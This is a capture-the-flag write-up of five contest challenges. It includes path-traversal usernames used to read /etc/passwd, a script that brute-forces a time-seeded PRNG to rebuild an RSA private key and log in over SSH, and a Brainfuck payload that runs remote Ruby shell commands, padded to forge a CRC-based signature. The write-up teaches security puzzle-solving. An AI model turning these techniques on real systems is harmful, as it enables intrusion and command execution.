Here's a write-up for the challenges that I participated in enough to follow the solution. We had several good team efforts, not all of these are my own work.
11. mail
This is a file upload service over email. We can send commands: signup
, list
, put
, get
, delete
, share
. The user name is taken from the email's From:
address.
Looking at the server source code, we can see that user names are not validated. The directory of a user whose address is [email protected]
is example.com___username
. If you want to receive the replies to your commands, you need to use a domain where you can receive mail, but many domains give you some variation on the username, which allows you to append interesting suffixes to the user directory. In particular, many servers (including GMail) redirect all addresses of the form [email protected]
to the main [email protected]
address. Alternatively, you can use a disposable email service such as http://mailinator.com.
The main trick is to use ../
in the user name to escape our user directory. For example, supposing you are [email protected]
, sign up as [email protected]
. This creates the user directory gmail.com___eve+
. You can then use usernames of the form eve+/../something
to access directories on the server of the form gmail.com___eve+/../something
. For example, you can access the account of [email protected]
via eve+/../[email protected]
.
Armed with this trick, we explored the filesystem. There were many red herrings, left either by the contest organizers or by other contestants. The addresses mentioned in the problem description ([email protected]
and [email protected]
) both had an account, as did [email protected]
and [email protected]
. We could access the user list by sending the list
command as eve+/[email protected]
. None of these led to the flag, though.
Finally Manishearth thought of looking at /etc/passwd
(get passwd
from eve+/../../../../[email protected]
), where the flag was hiding in the Gecos field of the challenge
user.
14. punchcard
We get a images of punchcards. The first step is to parse them into text — write a software punchcard reader. These are IBM 80-column punched cards and the encoding turns out to be EBCDIC.
#! /usr/bin/env python
import sys
from PIL import Image
EBCDIC = {
'' : '',
'1' : '1',
'2' : '2',
'3' : '3',
'4' : '4',
'5' : '5',
'6' : '6',
'7' : '7',
'8' : '8',
'9' : '9',
'18' : '`',
'28' : ':',
'38' : '#',
'48' : '@',
'58' : '\'',
'68' : '=',
'78' : '"',
'Y' : '&',
'Y1' : 'A',
'Y2' : 'B',
'Y3' : 'C',
'Y4' : 'D',
'Y5' : 'E',
'Y6' : 'F',
'Y7' : 'G',
'Y8' : 'H',
'Y9' : 'I',
#'Y18' : '',
#'Y28' : '',
'Y38' : '.',
'Y48' : '<',
'Y58' : '(',
'Y68' : '+',
'Y78' : '|',
'X' : '-',
'X1' : 'J',
'X2' : 'K',
'X3' : 'L',
'X4' : 'M',
'X5' : 'N',
'X6' : 'O',
'X7' : 'P',
'X8' : 'Q',
'X9' : 'R',
#'X18' : '',
'X28' : '!',
'X38' : '$',
'X48' : '*',
'X58' : ')',
'X68' : ';',
'X78' : ' ',
'0' : '0',
'01' : '/',
'02' : 'S',
'03' : 'T',
'04' : 'U',
'05' : 'V',
'06' : 'W',
'07' : 'X',
'08' : 'Y',
'09' : 'Z',
#'018' : '',
'028' : '\\',
'038' : ',',
'048' : '%',
'058' : '_',
'068' : '>',
'078' : '?',
}
def read_image(filename):
img = Image.open(filename)
for j in xrange(80):
columns = ''
for i in xrange(12):
color = img.getpixel((86 + 8 * j, 50 + 26 * i))
if color == (255,255,255,255): columns += 'YX0123456789'[i]
sys.stdout.write(EBCDIC[columns])
sys.stdout.write('\n')
if __name__ == '__main__':
for filename in sys.argv[1:]:
read_image(filename)
The result is unsurprisingly a FORTRAN program.
C ==========================================================================
C FIND THE VALID PIN ( 4 DIGITS ) TO GET THE FLAG
C ==========================================================================
PROGRAM SPARSESYMSOLVE
COM
CHARACTER*64 :: MESSAGE
& = "PIN:"
CHARACTER*8 :: INPUT
DOUBLE PRECISION :: A(800,800)
DOUBLE PRECISION :: ALPHA
DOUBLE PRECISION :: RSNEW
DOUBLE PRECISION :: RSOLD
DOUBLE PRECISION :: B(800)
DOUBLE PRECISION :: X(800)
DOUBLE PRECISION :: R(800)
DOUBLE PRECISION :: P(800)
DOUBLE PRECISION :: AP(800)
DOUBLE PRECISION :: RINPUT(4)
CHARACTER*32 :: HASH_TEST
CHARACTER*32 :: HASH_VALID
COM
101 FORMAT(F1.0)
102 FORMAT(800(E13.7,3X))
103 FORMAT(A32)
COM
COM
PRINT *,MESSAGE
READ *,INPUT
COM
COM
COM
IC = SIZE(B) / 4
DO 100 I = 1,4
READ(INPUT(I:I),101) RINPUT(I)
100 CONTINUE
DO 200 I = 1,IC
B((I-1)*4+1:I*4) = RINPUT(1:4)
200 CONTINUE
COM
COM
COM
OPEN(UNIT=11,FILE="MATRIX.CSV",STATUS="OLD",ACTION="READ")
DO 300 I = 1,800
DO 310 J = 1,800
READ (11,102) A(I,J)
310 CONTINUE
300 CONTINUE
CLOSE(UNIT=11)
COM
COM
COM
X = 0
R = B - MATMUL(A,X)
P = R
RSOLD = DOT_PRODUCT(R,R)
DO 400 I = 1,800*2
AP = MATMUL(A,P)
ALPHA = RSOLD/DOT_PRODUCT(P,AP)
X = X + ALPHA * P
R = R - ALPHA * AP
RSNEW = DOT_PRODUCT(R,R)
IF (SQRT(RSNEW) .LT. 1E-8) THEN
EXIT
ENDIF
P = R + RSNEW/RSOLD*P
RSOLD = RSNEW
400 CONTINUE
COM
COM
COM
OPEN(UNIT=12,FILE="SOL.TMP",ACTION="WRITE")
WRITE (12,102), X
CLOSE(UNIT=12)
COM
CALL SYSTEM ('MD5SUM < SOL.TMP > HASH.TMP')
COM
OPEN(UNIT=13,FILE="HASH.TMP",ACTION="READ")
READ (13,103), HASH_TEST
CLOSE(UNIT=13)
COM
OPEN(UNIT=13,FILE="HASH.VALID",ACTION="READ")
READ (13,103), HASH_VALID
CLOSE(UNIT=13)
COM
IVALID = 1
IF (HASH_TEST .NE. HASH_VALID) THEN
IVALID = 0
ENDIF
COM
IF (IVALID .EQ. 1) THEN
PRINT *,"YOU GOT THE FLAG!"
CALL SYSTEM
& ('ECHO "SIGINT_$(SHA224SUM < SOL.TMP)" > FLAG')
ENDIF
COM
END PROGRAM SPARSESYMSOLVE
Run it with a few uppercase-name commands in the search path, and with the supplied files MATRIX.CSV
and HASH.VALID
in the current directory (renamed to uppercase). It takes less than 1 second per attempt on my machine, so I didn't try to speed up the program, I just let it ran for a few hours.
ln -s /bin/echo ECHO
ln -s /usr/bin/md5sum MD5SUM
ln -s /usr/bin/sha224sum SHA224SUM
ln -s punchcard/matrix.csv MATRIX.CSV
ln -s punchcard/hash.valid HASH.VALID
gfortran -O9 source.f
for pin in {0000..9999}; do echo $pin; PATH=$PATH:. echo $pin | ./a.out; echo '===='; done >transcript
The PIN is 9374.
16. rsa
We get an authorized_keys
file and a Python script that generates an SSH key pair. The key is generated using a simple pseudorandom generator that uses the time as the seed. We have the public key in authorized_keys
file, so we need to find the seed time that corresponds to that public key.
First, the PRNG is extremely slow as written because it's computing insanely large numbers. Only the lowest-order bits of these numbers are ever used, so we can truncate them. 32 bits are enough and make the speed sufficient.
Second, extract the modulus from the SSH public key.
ssh-keygen -m PKCS8 -e -f authorized_keys |
sed -e '1d' -e '$d' |
hexdump -C1
This plus a bit of manual ASN.1 decoding gives us a 1024-bit modulus and the public exponent 65537.
Now we brute-force the seed, working backwards from the starting time of the contest.
#!/usr/bin/env python
from time import time
import os
from Crypto.PublicKey import RSA
SEED2 = None
os.umask(0077)
target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3
def generate(time):
global SEED2
SEED2 = time
def randfunc(n):
def rand():
#global SEED
global SEED2
#SEED = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
SEED2 = (SEED2 * 0x015a4e35 + 1) & 0xffffffff
#print (SEED >> 0x10) & 0x7fff, (SEED2 >> 0x10) & 0x7fff
return (SEED2 >> 0x10) & 0x7fff
ret = ""
while len(ret) < n:
ret += chr(rand() & 0xff)
return ret
keypair = RSA.generate(1024, randfunc)
if keypair.n == target:
with open("id_rsa", "w") as privfile:
privfile.write(keypair.exportKey())
print time
exit(0)
for time in range(1373040000, 1373040000-86400, -1):
generate(time)
A few minutes later this program prints out 1373038672
and exits.
$ ssh -i id_rsa [email protected]
…
challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt; echo
SIGINT_some_people_pay_100_euro_for_this
17. satisfaction
The server reads a Brainfuck program and a signature. It computes the signature of the program; if the signature is valid, the brainfuck program is executed. It must output a Ruby snippet which is executed through eval
.
Let's look at the signature first. sig
is the signature read from the input, and $d
and $n
are unknown.
crc = crc32(code)
test = crc.to_bn.mod_exp($d, $n)
return sig == test
Without knowing $d
and $n
, we cannot find the correct sig
value! Except, that is, if crc
is 0 or 1, in which case the signature is 0 or 1. So we will strive to produce code whose CRC is 0 or 1.
The Brainfuck code must output a Ruby shellcode. This shellcode is executed through eval
. Its standard input and standard output are not connected to the network socket. Furthermore, a look at the Brainfuck interpreter shows that the Brainfuck code must execute for no more than 1000 steps and has access to 100 memory cells. After a few false tries, I settled on client.puts`#{client.gets}`
, which is produced by this simple Brainfuck code (which we'll strip of its whitespace before submission):
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
+++++++++.
---.
----.
+++++++++.
++++++.
>++++++++++++++++++++++++++++++++++++++++++++++.<
----.
+++++.
-.
-.
-------------------.
>-----------.<
+++++++++++++++++++++++++++.
------------------------.
+++++++++.
---.
----.
+++++++++.
++++++.
>+++++++++++.<
-------------.
--.
+++++++++++++++.
-.
++++++++++.
-----------------------------.
Now we need to pad this program so that the resulting CRC is 0 or 1. We're only allowed to use the characters -+<>[].
— active Brainfuck characters plus space. I wrote a program to compute CRC values and brute-force a padding with a desired CRC. Since there are 7 possible characters (skipping .
which might result in broken output), and 2³¹ ≈ 7¹¹, we can expect that there is a 12-character padding that produces a suitable value.
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#define MASK 0x04C11DB7
char payload[] = "..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++.---.----.+++++++++.++++++.>++++++++++++++++++++++++++++++++++++++++++++++.<----.+++++.-.-.-------------------.>-----------.<+++++++++++++++++++++++++++.------------------------.+++++++++.---.----.+++++++++.++++++.>+++++++++++.<-------------.--.+++++++++++++++.-.++++++++++.-----------------------------.";
char alphabet[] = " -+<>[]";
uint32_t crc32(uint32_t init, char *s)
{
uint32_t crc = init;
int shift;
int flip;
while (*s) {
for (shift = 7; shift >= 0; shift--) {
flip = (crc >> 31) == (*s >> shift & 1);
crc = crc << 1;
if (flip) crc = crc ^ MASK;
}
++s;
}
return crc;
}
int main (int argc, char *argv[])
{
uint32_t payload_crc = crc32(0, payload);
uint32_t crc;
char scratch[99] = {0};
unsigned char i0, i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11;
for (i0 = 1/*skip space for easier copy-paste*/; i0 < sizeof(alphabet)-1; i0++) {
scratch[0] = alphabet[i0];
for (i1 = 0; i1 < sizeof(alphabet)-1; i1++) {
scratch[1] = alphabet[i1];
for (i2 = 0; i2 < sizeof(alphabet)-1; i2++) {
scratch[2] = alphabet[i2];
for (i3 = 0; i3 < sizeof(alphabet)-1; i3++) {
scratch[3] = alphabet[i3];
for (i4 = 0; i4 < sizeof(alphabet)-1; i4++) {
scratch[4] = alphabet[i4];
for (i5 = 0; i5 < sizeof(alphabet)-1; i5++) {
scratch[5] = alphabet[i5];
for (i6 = 0; i6 < sizeof(alphabet)-1; i6++) {
scratch[6] = alphabet[i6];
for (i7 = 0; i7 < sizeof(alphabet)-1; i7++) {
scratch[7] = alphabet[i7];
for (i8 = 0; i8 < sizeof(alphabet)-1; i8++) {
scratch[8] = alphabet[i8];
for (i9 = 0; i9 < sizeof(alphabet)-1; i9++) {
scratch[9] = alphabet[i9];
for (i10 = 0; i10 < sizeof(alphabet)-1; i10++) {
scratch[10] = alphabet[i10];
for (i11 = 1/*skip space for easier copy-paste*/; i11 < sizeof(alphabet)-1; i11++) {
scratch[11] = alphabet[i11];
crc = crc32(payload_crc, scratch);
if (! (crc & ~1)) {
printf("%08x %s\n", crc, scratch);
}
}
}
}
}
}
}
}
}
}
}
}
}
return 1;
}
After a few minutes, we find that the padding +<<>+ [[[- <
for the payload above results in a CRC of 1. So we submit the following input to the challenge server:
..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++.---.----.+++++++++.++++++.>++++++++++++++++++++++++++++++++++++++++++++++.<----.+++++.-.-.-------------------.>-----------.<+++++++++++++++++++++++++++.------------------------.+++++++++.---.----.+++++++++.++++++.>+++++++++++.<-------------.--.+++++++++++++++.-.++++++++++.-----------------------------.+<<>+ [[[- <
1
cat the_flag.rb
And the output is:
welcome to the Brainfuck Execution As A Service Cloud
please submit your properly RSA signed brainfuck code
#The flag is: goozbartouuu
18. PROtocol
We're told to connect to a certain IP and port. But it's not tcp and not udp. MMavipc (I think) observed that there was a response on SCTP port 1024. On every connection, socat - SCTP-CONNECT:188.40.147.103:1024
produces a string like the following:
945c7bceb37fTa27dadbd7cI9cde8d43I5286153c94a16f3da3df0cf3819152a509952d50fdb_ad23G81ec5489bf62ced620N0Sa02c
Some observations:
- The server doesn't seem to read any input, it emits a 107-byte string per connection every time.
- The 107-byte string is always a permutation of the same string, which contains
SIGINT_
and 100 hexadecimal digits.
- The permutation depends on the time: it's different at almost every connection, except that two near-simultaneous connections result in the same string.
MMavipc made the second crucial observation that the packets need to be reordered by SID (stream identifier). So I looked at one connection with tcpdump
and saw that I was receiving 1-byte packets out of order, like this:
1) [DATA] (B)(E) [TSN: 1096613863] [SID: 74] [SSEQ 0] [PPID 0x0] [Payload: 0x0000: 62 b
1) [DATA] (B)(E) [TSN: 1096613863] [SID: 74] [SSEQ 0] [PPID 0x0] [Payload: 0x0000: 62 b
2) [DATA] (B)(E) [TSN: 1096613864] [SID: 60] [SSEQ 0] [PPID 0x0] [Payload: 0x0000: 37 7
3) [DATA] (B)(E) [TSN: 1096613865] [SID: 10] [SSEQ 0] [PPID 0x0] [Payload: 0x0000: 33 3
Note that in this trace one packet was duplicated, it needs to be included only once. From this trace (which should have all SIDs from 0 to 106) sorting the packets and extracting the payloads is an easy one-liner:
$ <capture sort -u -k7n | perl -ane 'print chr(hex($F[13]))'; echo
SIGINT_d9132894af6ecdc303f1ce61ccf35ab22da4d9175609b328d52ce7fd2c9a15d8a8dba05bd297ac04758b0de06354f392f5cd